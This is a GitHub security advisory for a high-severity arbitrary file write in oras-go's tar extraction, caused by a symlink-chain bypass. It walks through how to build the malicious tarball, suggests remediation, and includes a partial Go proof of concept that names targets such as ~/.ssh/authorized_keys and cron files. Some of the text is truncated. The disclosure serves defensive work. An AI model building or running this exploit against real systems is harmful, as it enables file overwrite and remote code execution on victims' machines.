GitHub Advisoryadvisory · Go
GHSA-m37j-52j7-pjw7 oras-go: Arbitrary file write outside file.Store root via symlink-chain bypass in tar extraction (pushDir)
HIGH
Official page ↗
- Aliases
- CVE-2026-85731
- Ecosystem
- Go
- Packages
- oras.land/oras-go/v2
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-22, CWE-59
- Reviewed
- 2026-09-17
Affected packages
• Go oras.land/oras-go/v2: < 2.6.2 → fixed in 2.6.2
Description
Summary
The `content/file.Store` in oras-go v2 unpacks OCI layer tarballs when a descriptor carries `io.deis.oras.content.unpack=true`. The extraction routine validates symlink targets purely lexically (`filepath.Join`) and, for regular files placed directly at the extraction root, skips the parent-symlink `Lstat` walk. A malicious tarball can plant a chain of symlinks whose lexical target stays inside the extraction root but whose kernel-resolved target is any absolute path, then write through it with a follow-up regular-file entry. The result is arbitrary file create/overwrite outside the store's working directory under the default `AllowPathTraversalOnWrite=false` configuration — a canonical tar-slip → RCE primitive.
Details
Affected versions: `/escape`, `path == "escape"` and `filepath.Dir("escape") == "."`, so the loop body never executes — the entry itself is never `Lstat`-checked.
Root cause 3 — write follows symlinks. `content/file/utils.go` line 279, `writeFile`:
```go
file, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, perm)
```
No `O_NOFOLLOW`, so if `path` is a symlink the write goes to its target.
Data flow / exploit construction. Let `baseAbs = /` and `N = depth(baseAbs)` (number of path components from `/`). The attacker's tar.gz contains, in order:
1. `N` nested directories `/d0/d1/…/d{N-1}`.
2. A symlink `/d0/…/d{N-1}/up` → `"../../…"` (`N` levels). Both lexically and on disk this resolves to `baseAbs`, so `ensureLinkPath` accepts it and `resolveRelToBase` sees only real directories in its ancestry.
3. A symlink `/escape` → `"d0/…/d{N-1}/up/../../…/"` (`N` `..` components after `up`). Lexically, `filepath.Join(baseAbs, "d0/…/up/../…/")` cancels the `N` `..` against `up` plus `d{N-2}…d0`, yielding `baseAbs/d0/` — inside the root, so `ensureLinkPath` accepts it. `resolveRelToBase` then walks `d0/`, none of which are symlinks (they don't exist), so the link is created. At the kernel, resolving `baseAbs/d0/…/up` first follows `up` back to `baseAbs`, and the remaining `N` `..` components climb from `baseAbs` to `/`, then `` is appended — the symlink points at the attacker-chosen absolute path.
4. A regular file `/escape` (same name). `resolveRelToBase("escape")` yields `dir == "."` (root cause 2), so no `Lstat` is performed. `extractTarDirectory` (line 181) calls `writeFile` which opens `baseAbs/escape` with `O_TRUNC` and no `O_NOFOLLOW` (root cause 3), writing the attacker's payload through the symlink to ``.
Why v2.6.1's `checkSymlinkEscape` does not help. The fix for GHSA-8xwf-rjm4-xvhv added a symlink-resolving containment check, but it is called only from `resolveWritePath` (`content/file/file.go` line 632) on the `pushFile` path. `pushDir` → `extractTarGzip` → `extractTarDirectory` never calls it; `content/file/utils.go` is byte-identical between v2.6.0 and v2.6.1.
Suggested remediation. Any of: (a) `Lstat` the final path component before opening for write and reject symlinks; (b) open with `O_NOFOLLOW` (or `O_EXCL` for new files); (c) resolve link targets with `filepath.EvalSymlinks` on the deepest existing ancestor (as `checkSymlinkEscape` already does) instead of lexical `filepath.Join`; (d) extract into a fresh empty directory and use `openat2(RESOLVE_BENEATH)` / `os.Root` (Go 1.24+) for all filesystem operations.
PoC
```
go mod init poc
go get oras.land/oras-go/[email protected]
go run .
```
```go
// Arbitrary file write outside a default-configured file.Store via
// symlink-chain bypass in content/file.extractTarDirectory.
//
// ensureLinkPath() validates symlink targets purely lexically with
// filepath.Join, which collapses ".." textually and does not follow
// intermediate symlink components. By first planting a deep "up" symlink
// that legitimately resolves to the extraction root, an "escape" symlink
// can be crafted whose lexical target stays in-bounds but whose
// kernel-resolved target is any absolute path. A follow-up TypeReg entry
// with the same name is opened with O_CREATE|O_TRUNC (no O_NOFOLLOW),
// writing through the symlink.
//
// Realistic trigger: oras.Copy() from an untrusted registry into a
// file.New() store. The attacker controls the manifest (sets
// AnnotationTitle + AnnotationUnpack=true on a layer) and the layer blob.
// All digests are honest, so content verification passes.
package main
import (
"archive/tar"
"bytes"
"compress/gzip"
"context"
_ "crypto/sha256"
"fmt"
"os"
"path/filepath"
"strings"
"github.com/opencontainers/go-digest"
ocispec "github.com/opencontainers/image-spec/specs-go/v1"
"oras.land/oras-go/v2/content/file"
)
func main() {
if err := run(); err != nil {
fmt.Println("ERROR:", err)
os.Exit(1)
}
}
func run() error {
ctx := context.Background()
// Victim's working directory for the file store.
workDir, err := os.MkdirTemp("", "oras-victim-*")
if err != nil {
return err
}
defer os.RemoveAll(workDir)
fmt.Println("[*] file.Store working dir:", workDir)
// Target path the attacker wants to write, OUTSIDE workDir.
// (Could be ~/.ssh/authorized_keys, ~/.bashrc, /etc/cron.d/x, etc.;
// a temp path keeps the demo self-contained.)
outsidePath := filepath.Join(os.TempDir(), "oras-PWNED")
_ = os.Remove(outsidePath)
defer os.Remove(outsidePath)
fmt.Println("[*] attacker target (outside workDir):", outsidePath)
// The layer's AnnotationTitle. extractTarDirectory uses this as both the
// in-tar prefix and the on-disk subdir under workDir.
const title = "out"
baseAbs := filepath.Join(workDir, title)
// N nested dirs + a symlink "up" -> N*"../" so that after the kernel
// follows "up" (landing at baseAbs) the remaining N lexical ".."
// components climb from baseAbs to "/". N must be >= depth(baseAbs).
depth := len(strings.Split(strings.Trim(filepath.ToSlash(baseAbs), "/"), "…
Related
Alias · CVE (1)
- CVE-2026-85731 oras-go is a Go library for managing OCI artifacts. vulnerability
References
- https://github.com/oras-project/oras-go/security/advisories/GHSA-m37j-52j7-pjw7 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-85731 advisory
- https://github.com/oras-project/oras-go/commit/adab2f25ea95ef4e6e41f50db9266a6701399422 web
- https://github.com/oras-project/oras-go package
- https://github.com/oras-project/oras-go/releases/tag/v2.6.2 web